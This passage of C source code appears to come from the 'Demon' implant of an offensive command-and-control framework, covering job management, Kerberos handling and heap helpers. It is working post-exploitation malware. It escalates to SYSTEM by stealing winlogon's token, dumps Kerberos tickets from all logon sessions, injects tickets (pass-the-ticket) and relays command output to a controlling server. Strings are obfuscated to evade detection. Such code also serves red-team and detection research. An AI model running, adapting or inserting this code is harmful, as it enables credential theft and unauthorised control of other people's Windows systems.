Instance->Jobs; do { if ( ! JobList ) break; switch ( JobList->Type ) { case JOB_TYPE_PROCESS: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; Instance->Win32.GetExitCodeProcess( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; } break; } case JOB_TYPE_THREAD: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Return = 0; Instance->Win32.GetExitCodeThread( JobList->Handle, &Return ); if ( Return != STILL_ACTIVE ) JobList->State = JOB_STATE_DEAD; } break; } case JOB_TYPE_TRACK_PROCESS: { if ( JobList->State == JOB_STATE_RUNNING ) { DWORD Status = 0; Instance->Win32.GetExitCodeProcess( JobList->Handle, &Status ); if ( Status != STILL_ACTIVE ) { PUTS( "Tracking process is dead." ) JobList->State = JOB_STATE_DEAD; AnonPipesRead( ( ( PANONPIPE ) JobList->Data ), JobList->RequestID ); // notify the TS that the process is dead, so that the RequestID can be closed PPACKAGE Package = PackageCreateWithRequestID( DEMON_COMMAND_JOB, JobList->RequestID ); PackageAddInt32( Package, DEMON_COMMAND_JOB_DIED ); PackageTransmit( Package ); // free resources SysNtClose( JobList->Handle ); JobList->Handle = NULL; if ( ( ( PANONPIPE ) JobList->Data )->StdOutWrite ) { SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutWrite ); (( PANONPIPE ) JobList->Data )->StdOutWrite = NULL; } if ( ( ( PANONPIPE ) JobList->Data )->StdOutRead ) { SysNtClose( ( ( PANONPIPE ) JobList->Data )->StdOutRead ); ( ( PANONPIPE ) JobList->Data )->StdOutRead = NULL; } DATA_FREE( JobList->Data, sizeof( ANONPIPE ) ) JobList->Data = NULL; // remove the job entry JobRemove( JobList->JobID ); } else { // just read what there is available. DWORD Available = 0; PVOID Buffer = NULL; DWORD Size = 0; if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { Size = Available; Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); PackageTransmit( Package ); } DATA_FREE( Buffer, Size ) } } } } break; } } JobList = JobList->Next; } while ( TRUE ); } /*! * JobSuspend * Suspends the specified job * @param JobID * @return */ BOOL JobSuspend( DWORD JobID ) { PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { PRINTF( "Found Job ID: %d", JobID ) if ( JobList->Type == JOB_TYPE_THREAD ) { PUTS( "Suspending Thread" ) HANDLE Handle = JobList->Handle; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Handle ) { NtStatus = SysNtSuspendThread( JobList->Handle, NULL ); if ( NT_SUCCESS( NtStatus ) ) { JobList->State = JOB_STATE_SUSPENDED; return TRUE; } else { return FALSE; } } else { PUTS( "Handle is empty" ) return FALSE; } } } JobList = JobList->Next; } return FALSE; } /*! * JobSuspend * Suspends the specified job * @param JobID * @return */ BOOL JobResume( DWORD JobID ) { PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { PRINTF( "Found Job ID: %d", JobID ) if ( JobList->Type == JOB_TYPE_THREAD ) { PUTS( "Resume Thread" ) HANDLE Handle = JobList->Handle; NTSTATUS NtStatus = STATUS_SUCCESS; if ( Handle ) { NtStatus = SysNtResumeThread( JobList->Handle, NULL ); if ( NT_SUCCESS( NtStatus ) ) { JobList->State = JOB_STATE_RUNNING; return TRUE; } else return FALSE; } else { PUTS( "Handle is empty" ) return FALSE; } } } JobList = JobList->Next; } return FALSE; } /*! * JobKill * Kills and remove the specified job * @param JobID * @return */ BOOL JobKill( DWORD JobID ) { BOOL Success = FALSE; PJOB_DATA JobList = Instance->Jobs; while ( JobList ) { if ( JobList->JobID == JobID ) { Success = TRUE; PRINTF( "Found Job ID: %d\n", JobID ) switch ( JobList->Type ) { case JOB_TYPE_THREAD: { if ( JobList->State != JOB_STATE_DEAD ) { PUTS( "Kill Thread" ) NTSTATUS NtStatus = STATUS_SUCCESS; if ( JobList->Handle ) { PUTS( "Kill using handle" ) if ( ! NT_SUCCESS( NtStatus = Instance->Win32.NtTerminateThread( JobList->Handle, STATUS_SUCCESS ) ) ) { PRINTF( "TerminateThread NtStatus:[%ul]\n", NtStatus ) NtSetLastError( Instance->Win32.RtlNtStatusToDosError( NtStatus ) ); PACKAGE_ERROR_WIN32; Success = FALSE; } else { // remove one thread from counter Instance->Threads--; } } else { PUTS( "Handle is empty" ) Success = FALSE; } } break; } case JOB_TYPE_PROCESS: { if ( JobList->State != JOB_STATE_DEAD ) { Instance->Win32.TerminateProcess( JobList->Handle, 0 ); } break; } case JOB_TYPE_TRACK_PROCESS: { if ( JobList->State != JOB_STATE_DEAD ) { Instance->Win32.TerminateProcess( JobList->Handle, 0 ); // just read what there is available. DWORD Available = 0; PVOID Buffer = NULL; if ( Instance->Win32.PeekNamedPipe( ( ( PANONPIPE ) JobList->Data )->StdOutRead, NULL, 0, NULL, &Available, 0 ) ) { PRINTF( "PeekNamedPipe: Available anon size %d\n", Available ); if ( Available > 0 ) { DWORD Size = Available; Buffer = Instance->Win32.LocalAlloc( LPTR, Size ); if ( Instance->Win32.ReadFile( ( ( PANONPIPE ) JobList->Data )->StdOutRead, Buffer, Available, &Available, NULL ) ) { PPACKAGE Package = PackageCreateWithRequestID( DEMON_OUTPUT, JobList->RequestID ); PackageAddBytes( Package, Buffer, Available ); PackageTransmit( Package ); } DATA_FREE( Buffer, Size ) } } } break; } } JobRemove( JobID ); } JobList = JobList->Next; } return Success; } /*! * JobRemove * Remove the specified job * @param ThreadID * @return */ VOID JobRemove( DWORD JobID ) { // Iterate over Job list and replace/remove job PRINTF( "Remove JobID: %d\n", JobID ); PUTS( "Iterate over Job list and replace/remove job" ) PJOB_DATA JobList = NULL; PJOB_DATA JobToRemove = NULL; if ( Instance->Jobs && Instance->Jobs->JobID == JobID ) { JobToRemove = Instance->Jobs; Instance->Jobs = JobToRemove->Next; } else { JobList = Instance->Jobs; while ( JobList ) { if ( JobList->Next && JobList->Next->JobID == JobID ) { JobToRemove = JobList->Next; JobList->Next = JobToRemove->Next; } else { JobList = JobList->Next; } } } if ( ! JobToRemove ) { PRINTF( "JobID %d not found\n", JobID ); return; } if ( JobToRemove->Handle ) SysNtClose( JobToRemove->Handle ); if ( ( JobToRemove->Type == JOB_TYPE_TRACK_PROCESS ) && JobToRemove->Data ) { DATA_FREE( JobToRemove->Data, sizeof( ANONPIPE ) ) } MemSet( JobToRemove, 0, sizeof( JOB_DATA ) ); Instance->Win32.LocalFree( JobToRemove ); JobToRemove = NULL; } ================================================ FILE: payloads/Demon/src/core/Kerberos.c ================================================ #include #include #include #include #include BOOL IsHighIntegrity(HANDLE TokenHandle) { BOOL Success = FALSE; BOOL ReturnValue = TRUE; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; PSID AdministratorsGroup = NULL; Success = Instance->Win32.AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &AdministratorsGroup ); if ( Success ) { if ( ! Instance->Win32.CheckTokenMembership( NULL, AdministratorsGroup, &ReturnValue ) ) { ReturnValue = FALSE; } Instance->Win32.FreeSid( AdministratorsGroup ); AdministratorsGroup = NULL; } return Success && ReturnValue; } DWORD GetProcessIdByName(WCHAR* processName) { HANDLE hProcessSnap = NULL; PROCESSENTRY32W pe32 = { 0 }; DWORD Pid = -1; hProcessSnap = Instance->Win32.CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if ( hProcessSnap == INVALID_HANDLE_VALUE ) { return Pid; } pe32.dwSize = sizeof(PROCESSENTRY32W); if ( ! Instance->Win32.Process32FirstW( hProcessSnap, &pe32 ) ) { SysNtClose( hProcessSnap ); return Pid; } do { if ( StringCompareW( pe32.szExeFile, processName ) == 0 ) { Pid = pe32.th32ProcessID; break; } } while (Instance->Win32.Process32NextW(hProcessSnap, &pe32)); SysNtClose( hProcessSnap ); return Pid; } BOOL ElevateToSystem() { NTSTATUS NtStatus = 0; OBJECT_ATTRIBUTES ObjAttr = { sizeof( ObjAttr ) }; WCHAR winlogon[ 13 ] = { 0 }; HANDLE hProcess = NULL; BOOL ReturnValue = FALSE; HANDLE hDupToken = FALSE; HANDLE hToken = FALSE; DWORD ProcessID = 0; winlogon[ 11 ] = HideChar('e'); winlogon[ 4 ] = HideChar('o'); winlogon[ 2 ] = HideChar('n'); winlogon[ 6 ] = HideChar('o'); winlogon[ 7 ] = HideChar('n'); winlogon[ 5 ] = HideChar('g'); winlogon[ 12 ] = HideChar(0); winlogon[ 3 ] = HideChar('l'); winlogon[ 9 ] = HideChar('e'); winlogon[ 8 ] = HideChar('.'); winlogon[ 1 ] = HideChar('i'); winlogon[ 0 ] = HideChar('w'); winlogon[ 10 ] = HideChar('x'); ProcessID = GetProcessIdByName(winlogon); MemZero( winlogon, sizeof( winlogon ) ); if (ProcessID == -1) { PUTS( "Failed to find the PID of Winlogon.exe" ) return FALSE; } hProcess = ProcessOpen( ProcessID, PROCESS_QUERY_LIMITED_INFORMATION ); if ( hProcess ) { if ( NT_SUCCESS( NtStatus = SysNtOpenProcessToken( hProcess, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_IMPERSONATE, &hToken ) ) ) { if ( TokenDuplicate( hToken, TOKEN_ADJUST_DEFAULT | TOKEN_ADJUST_SESSIONID | TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY, SecurityImpersonation | SecurityIdentification, TokenPrimary, &hDupToken ) ) { if ( SysImpersonateLoggedOnUser( hDupToken ) ) { ReturnValue = TRUE; } SysNtClose( hDupToken ); } else { PRINTF( "TokenDuplicate: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hToken ); } else { PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } SysNtClose( hProcess ); } else { PRINTF( "NtOpenProcessToken: Failed [%d]\n", Instance->Win32.RtlNtStatusToDosError( NtStatus ) ) } return ReturnValue; } BOOL IsSystem( HANDLE TokenHandle ) { HANDLE hToken = NULL; UCHAR bTokenUser[sizeof(TOKEN_USER) + 8 + 4 * SID_MAX_SUB_AUTHORITIES]; PTOKEN_USER pTokenUser = (PTOKEN_USER)bTokenUser; ULONG cbTokenUser; SID_IDENTIFIER_AUTHORITY siaNT = SECURITY_NT_AUTHORITY; PSID pSystemSid = NULL; BOOL bSystem = FALSE; if ( ! Instance->Win32.GetTokenInformation( hToken, TokenUser, pTokenUser, sizeof(bTokenUser), &cbTokenUser ) ) { return FALSE; } if ( ! Instance->Win32.AllocateAndInitializeSid(&siaNT, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid) ) return FALSE; bSystem = Instance->Win32.EqualSid( pTokenUser->User.Sid, pSystemSid ); Instance->Win32.FreeSid( pSystemSid ); return bSystem; } NTSTATUS GetLsaHandle( HANDLE hToken, BOOL highIntegrity, PHANDLE hLsa ) { HANDLE hLsaLocal = NULL; LSA_OPERATIONAL_MODE mode = 0; NTSTATUS status = STATUS_SUCCESS; if ( ! highIntegrity ) { status = Instance->Win32.LsaConnectUntrusted( &hLsaLocal ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } } else { // AuditPol.exe /set /subcategory:"Security System Extension" // /success:enable /failure:enable Event ID 4611 Note: detect elevation via CHAR name[10] = { 0 }; // Winlogon name[ 2 ] = HideChar('n'); name[ 8 ] = HideChar('n'); name[ 4 ] = HideChar('o'); name[ 0 ] = HideChar('W'); name[ 1 ] = HideChar('i'); name[ 7 ] = HideChar('o'); name[ 6 ] = HideChar('g'); name[ 3 ] = HideChar('l'); name[ 9 ] = HideChar('\0'); name[ 5 ] = HideChar('o'); STRING lsaString = (STRING){.Length = 8, .MaximumLength = 9, .Buffer = name}; status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) || ! hLsaLocal ) { if ( IsSystem( hToken ) ) { status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } } else { if ( ElevateToSystem() ) { status = Instance->Win32.LsaRegisterLogonProcess( (PLSA_STRING)&lsaString, &hLsaLocal, &mode ); if ( ! NT_SUCCESS( status ) ) { status = Instance->Win32.LsaNtStatusToWinError( status ); } TokenRevSelf(); } else { status = NtGetLastError(); } } } MemZero( name, sizeof( name ) ); } *hLsa = hLsaLocal; return status; } NTSTATUS GetLogonSessionData( LUID luid, PLOGON_SESSION_DATA* data ) { PLOGON_SESSION_DATA sessionData = NULL; PSECURITY_LOGON_SESSION_DATA logonData = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof( LOGON_SESSION_DATA ) ); if ( ! sessionData ) return status; if ( luid.LowPart != 0 ) { status = Instance->Win32.LsaGetLogonSessionData( &luid, &logonData ); if ( NT_SUCCESS( status ) ) { sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = 1; sessionData->sessionData[0] = logonData; *data = sessionData; } else { status = STATUS_MEMORY_NOT_ALLOCATED; } } } else { ULONG logonSessionCount; PLUID logonSessionList; status = Instance->Win32.LsaEnumerateLogonSessions( &logonSessionCount, &logonSessionList ); if ( NT_SUCCESS( status ) ) { sessionData->sessionData = Instance->Win32.LocalAlloc( LPTR, logonSessionCount * sizeof(*sessionData->sessionData) ); if ( sessionData->sessionData != NULL ) { sessionData->sessionCount = logonSessionCount; for ( int i = 0; i < logonSessionCount; i++ ) { LUID luid2 = logonSessionList[i]; status = Instance->Win32.LsaGetLogonSessionData( &luid2, &logonData ); if ( NT_SUCCESS(status) ) { sessionData->sessionData[i] = logonData; } else { sessionData->sessionData[i] = NULL; } } Instance->Win32.LsaFreeReturnBuffer( logonSessionList ); *data = sessionData; } else { status = STATUS_MEMORY_NOT_ALLOCATED; } } } return status; } VOID ExtractTicket( HANDLE hLsa, ULONG authPackage, LUID luid, UNICODE_STRING targetName, PUCHAR* ticket, PUINT32 ticketSize ) { PKERB_RETRIEVE_TKT_REQUEST retrieveRequest = NULL; PKERB_RETRIEVE_TKT_RESPONSE retrieveResponse = NULL; ULONG responseSize = sizeof( KERB_RETRIEVE_TKT_REQUEST ) + targetName.MaximumLength; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; ULONG TicketSize = 0; PBYTE Ticket = NULL; retrieveRequest = Instance->Win32.LocalAlloc( LPTR, responseSize * sizeof( KERB_RETRIEVE_TKT_REQUEST ) ); if ( ! retrieveRequest ) return; //retrieveRequest->MessageType = KerbRetrieveEncodedTicketMessage; retrieveRequest->MessageType = 8; retrieveRequest->LogonId = luid; retrieveRequest->TicketFlags = 0; retrieveRequest->CacheOptions = KERB_RETRIEVE_TICKET_AS_KERB_CRED; retrieveRequest->EncryptionType = 0; retrieveRequest->TargetName = targetName; retrieveRequest->TargetName.Buffer = ( PWSTR )( (PBYTE )retrieveRequest + sizeof( KERB_RETRIEVE_TKT_REQUEST )); MemCopy( retrieveRequest->TargetName.Buffer, targetName.Buffer, targetName.MaximumLength ); status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, retrieveRequest, responseSize, (LPVOID*)&retrieveResponse, &responseSize, &protocolStatus ); if ( NT_SUCCESS( status ) && NT_SUCCESS( protocolStatus ) ) { if ( NT_SUCCESS( protocolStatus ) ) { TicketSize = retrieveResponse->Ticket.EncodedTicketSize; Ticket = Instance->Win32.LocalAlloc( LPTR, TicketSize ); if ( Ticket ) { MemCopy( Ticket, retrieveResponse->Ticket.EncodedTicket, TicketSize ); *ticket = Ticket; *ticketSize = TicketSize; } } else { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) } } else { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) } if ( retrieveResponse ) Instance->Win32.LsaFreeReturnBuffer( retrieveResponse ); if ( retrieveRequest ) Instance->Win32.LocalFree( retrieveRequest ); } VOID CopySessionInfo( PSESSION_INFORMATION Session, PSECURITY_LOGON_SESSION_DATA Data ) { // UserName MemCopy( Session->UserName, Data->UserName.Buffer, Data->UserName.Length ); // Domain MemCopy( Session->Domain, Data->LogonDomain.Buffer, Data->LogonDomain.Length ); // LogonId Session->LogonId.LowPart = Data->LogonId.LowPart; Session->LogonId.HighPart = Data->LogonId.HighPart; // Session Session->Session = Data->Session; // UserSID WCHAR* sid = NULL; if ( Instance->Win32.ConvertSidToStringSidW(Data->Sid, &sid) ) { StringCopyW( Session->UserSID, sid ); Instance->Win32.LocalFree( sid ); sid = NULL; } // LogonTime Session->LogonTime.QuadPart = Data->LogonTime.QuadPart; // LogonType Session->LogonType = Data->LogonType; // AuthenticationPackage MemCopy( Session->AuthenticationPackage, Data->AuthenticationPackage.Buffer, Data->AuthenticationPackage.Length ); // LogonServer MemCopy( Session->LogonServer, Data->LogonServer.Buffer, Data->LogonServer.Length ); // LogonServerDNSDomain MemCopy( Session->LogonServerDNSDomain, Data->DnsDomainName.Buffer, Data->DnsDomainName.Length ); // Upn MemCopy( Session->Upn, Data->Upn.Buffer, Data->Upn.Length ); // Tickets Session->Tickets = NULL; } VOID CopyTicketInfo( PTICKET_INFORMATION TicketInfo, PKERB_TICKET_CACHE_INFO_EX Data ) { // ClientName MemCopy( TicketInfo->ClientName, Data->ClientName.Buffer, Data->ClientName.Length ); // ClientRealm MemCopy( TicketInfo->ClientRealm, Data->ClientRealm.Buffer, Data->ClientRealm.Length ); // ServerName MemCopy( TicketInfo->ServerName, Data->ServerName.Buffer, Data->ServerName.Length ); // ServerRealm MemCopy( TicketInfo->ServerRealm, Data->ServerRealm.Buffer, Data->ServerRealm.Length ); // StartTime TicketInfo->StartTime.LowPart = Data->StartTime.LowPart; TicketInfo->StartTime.HighPart = Data->StartTime.HighPart; // EndTime TicketInfo->EndTime.LowPart = Data->EndTime.LowPart; TicketInfo->EndTime.HighPart = Data->EndTime.HighPart; // RenewTime TicketInfo->RenewTime.LowPart = Data->RenewTime.LowPart; TicketInfo->RenewTime.HighPart = Data->RenewTime.HighPart; // EncryptionType TicketInfo->EncryptionType = Data->EncryptionType; // TicketFlags TicketInfo->TicketFlags = Data->TicketFlags; // Ticket TicketInfo->Ticket.Buffer = NULL; TicketInfo->Ticket.Length = 0; } BOOL Ptt( HANDLE hToken, PBYTE Ticket, DWORD TicketSize, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; ULONG authPackage = 0; PKERB_SUBMIT_TKT_REQUEST submitRequest = NULL; DWORD submitSize = sizeof( KERB_SUBMIT_TKT_REQUEST ) + TicketSize; PVOID response = NULL; ULONG responseSize = 0; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); goto END; } submitRequest = Instance->Win32.LocalAlloc( LPTR, submitSize * sizeof( KERB_SUBMIT_TKT_REQUEST ) ); if ( ! submitRequest ) goto END; submitRequest->MessageType = _KerbSubmitTicketMessage; submitRequest->KerbCredSize = TicketSize; submitRequest->KerbCredOffset = sizeof( KERB_SUBMIT_TKT_REQUEST ); if ( highIntegrity ) { submitRequest->LogonId = luid; } MemCopy( RVA( PBYTE, submitRequest, submitRequest->KerbCredOffset ), Ticket, TicketSize ); status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, submitRequest, submitSize, &response, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) goto END; } if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) goto END; } ReturnValue = TRUE; END: if ( submitRequest ) { Instance->Win32.LocalFree( submitRequest ); } if ( hLsa ) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); return ReturnValue; } BOOL Purge( HANDLE hToken, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; NTSTATUS status = STATUS_UNSUCCESSFUL; NTSTATUS protocolStatus = STATUS_UNSUCCESSFUL; KERB_PURGE_TKT_CACHE_REQUEST purgeRequest = { 0 }; ULONG authPackage = 0; PVOID purgeResponse = NULL; ULONG responseSize = 0; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %lx\n", status ); goto END; } //purgeRequest.MessageType = KerbPurgeTicketCacheMessage; purgeRequest.MessageType = 6; if ( highIntegrity ) purgeRequest.LogonId = luid; else purgeRequest.LogonId = (LUID){.HighPart = 0, .LowPart = 0}; purgeRequest.RealmName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; purgeRequest.ServerName = (UNICODE_STRING){.Buffer = L"", .Length = 0, .MaximumLength = 1}; status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &purgeRequest, sizeof(KERB_PURGE_TKT_CACHE_REQUEST), &purgeResponse, &responseSize, &protocolStatus ); if ( purgeResponse ) { Instance->Win32.LsaFreeReturnBuffer( purgeResponse ); purgeResponse = NULL; } if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", status ) goto END; } if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage: %lx\n", protocolStatus ) goto END; } ReturnValue = TRUE; END: if (hLsa) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); return ReturnValue; } PSESSION_INFORMATION Klist( HANDLE hToken, LUID luid ) { BOOL ReturnValue = FALSE; BOOL highIntegrity = FALSE; HANDLE hLsa = NULL; ULONG authPackage = 0; LSA_STRING krbAuth = {.Buffer = NULL, .Length = 8, .MaximumLength = 9}; PLOGON_SESSION_DATA sessionData = NULL; KERB_QUERY_TKT_CACHE_REQUEST cacheRequest = { 0 }; PKERB_QUERY_TKT_CACHE_EX_RESPONSE cacheResponse = NULL; ULONG responseSize = 0; NTSTATUS protocolStatus = STATUS_SUCCESS; NTSTATUS status = STATUS_SUCCESS; PSESSION_INFORMATION Sessions = NULL; PSESSION_INFORMATION NewSession = NULL; PSESSION_INFORMATION TmpSession = NULL; PTICKET_INFORMATION TicketInfo = NULL; PTICKET_INFORMATION TmpTicketInfo = NULL; CHAR name[9] = { 0 }; name[ 5 ] = HideChar('r'); name[ 0 ] = HideChar('k'); name[ 8 ] = HideChar( 0); name[ 1 ] = HideChar('e'); name[ 2 ] = HideChar('r'); name[ 7 ] = HideChar('s'); name[ 3 ] = HideChar('b'); name[ 6 ] = HideChar('o'); name[ 4 ] = HideChar('e'); krbAuth.Buffer = name; if ( ! hToken ) goto END; highIntegrity = IsHighIntegrity( hToken ); if ( ! highIntegrity ) { PUTS( "[!] Not in high integrity." ); goto END; } status = GetLsaHandle( hToken, highIntegrity, &hLsa ); if ( ! NT_SUCCESS( status ) || ! hLsa ) { PRINTF( "[!] GetLsaHandle %ld\n", status ); goto END; } status = Instance->Win32.LsaLookupAuthenticationPackage( hLsa, &krbAuth, &authPackage ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaLookupAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); goto END; } status = GetLogonSessionData( luid, &sessionData ); if ( ! NT_SUCCESS( status ) || ! sessionData ) { PRINTF( "[!] GetLogonSessionData: %lx", status ); goto END; } //cacheRequest.MessageType = KerbQueryTicketCacheExMessage; cacheRequest.MessageType = 14; for ( int i = 0; i < sessionData->sessionCount; i++ ) { if ( sessionData->sessionData[i] == NULL ) continue; NewSession = Instance->Win32.LocalAlloc( LPTR, sizeof( SESSION_INFORMATION ) ); if ( ! NewSession ) continue; CopySessionInfo( NewSession, sessionData->sessionData[i] ); if ( ! Sessions ) { NewSession->Next = NULL; Sessions = NewSession; } else { TmpSession = Sessions; while ( TmpSession->Next ) TmpSession = TmpSession->Next; TmpSession->Next = NewSession; } if ( highIntegrity ) cacheRequest.LogonId = sessionData->sessionData[i]->LogonId; else cacheRequest.LogonId = ( LUID ){.HighPart = 0, .LowPart = 0}; Instance->Win32.LsaFreeReturnBuffer( sessionData->sessionData[i] ); cacheResponse = NULL; status = Instance->Win32.LsaCallAuthenticationPackage( hLsa, authPackage, &cacheRequest, sizeof( cacheRequest ), (LPVOID*)&cacheResponse, &responseSize, &protocolStatus ); if ( ! NT_SUCCESS( status ) ) { PRINTF( "[!] LsaCallAuthenticationPackage %ld\n", Instance->Win32.LsaNtStatusToWinError( status ) ); continue; } if ( protocolStatus == STATUS_NO_SUCH_LOGON_SESSION ) continue; if ( ! NT_SUCCESS( protocolStatus ) ) { PRINTF( "[!] LsaCallAuthenticationPackage %lx\n", protocolStatus ); continue; } if ( ! cacheResponse ) continue; for ( int j = 0; j < cacheResponse->CountOfTickets; j++ ) { TicketInfo = Instance->Win32.LocalAlloc( LPTR, sizeof( TICKET_INFORMATION ) ); if ( ! TicketInfo ) continue; CopyTicketInfo( TicketInfo, &cacheResponse->Tickets[j] ); ExtractTicket(hLsa, authPackage, cacheRequest.LogonId, cacheResponse->Tickets[j].ServerName, (PUCHAR*)&TicketInfo->Ticket.Buffer, &TicketInfo->Ticket.Length); if ( ! NewSession->Tickets ) { NewSession->Tickets = TicketInfo; TicketInfo->Next = NULL; } else { TmpTicketInfo = NewSession->Tickets; while ( TmpTicketInfo->Next ) TmpTicketInfo = TmpTicketInfo->Next; TmpTicketInfo->Next = TicketInfo; TicketInfo->Next = NULL; } } Instance->Win32.LsaFreeReturnBuffer( cacheResponse ); cacheResponse = NULL; } ReturnValue = TRUE; END: if ( sessionData && sessionData->sessionData ) { Instance->Win32.LocalFree( sessionData->sessionData ); } if ( sessionData ) { Instance->Win32.LocalFree( sessionData ); } if ( hLsa ) { Instance->Win32.LsaDeregisterLogonProcess( hLsa ); } MemZero( name, sizeof( name ) ); if ( ReturnValue && Sessions ) { return Sessions; } else { return NULL; } } LUID* GetLUID( HANDLE hToken ) { TOKEN_STATISTICS tokenStats = { 0 }; DWORD tokenSize = 0; LUID* luid = NULL; if ( ! hToken ) return NULL; if ( ! Instance->Win32.GetTokenInformation( hToken, TokenStatistics, &tokenStats, sizeof( tokenStats ), &tokenSize ) ) return NULL; luid = Instance->Win32.LocalAlloc( LPTR, sizeof( LUID ) ); if ( ! luid ) return NULL; luid->HighPart = tokenStats.AuthenticationId.HighPart; luid->LowPart = tokenStats.AuthenticationId.LowPart; return luid; } ================================================ FILE: payloads/Demon/src/core/Memory.c ================================================ #include #include #include /*! * @brief * allocate memory on the heap * * @param Length * size of memory to allocate * * @return * allocated buffer pointer on the heap */ PVOID MmHeapAlloc( _In_ ULONG Length ) { return Instance->Win32.RtlAllocateHeap( NtProcessHeap(), HEAP_ZERO_MEMORY, Length ); } /*! * @brief * allocate memory on the heap * * @param Length * size of memory to reallocate * * @return * allocated buffer pointer on the heap */ PVOID MmHeapReAlloc( _In_ PVOID Memory, _In_ ULONG Length ) { return Instance->Win32.RtlReAllocateHeap( 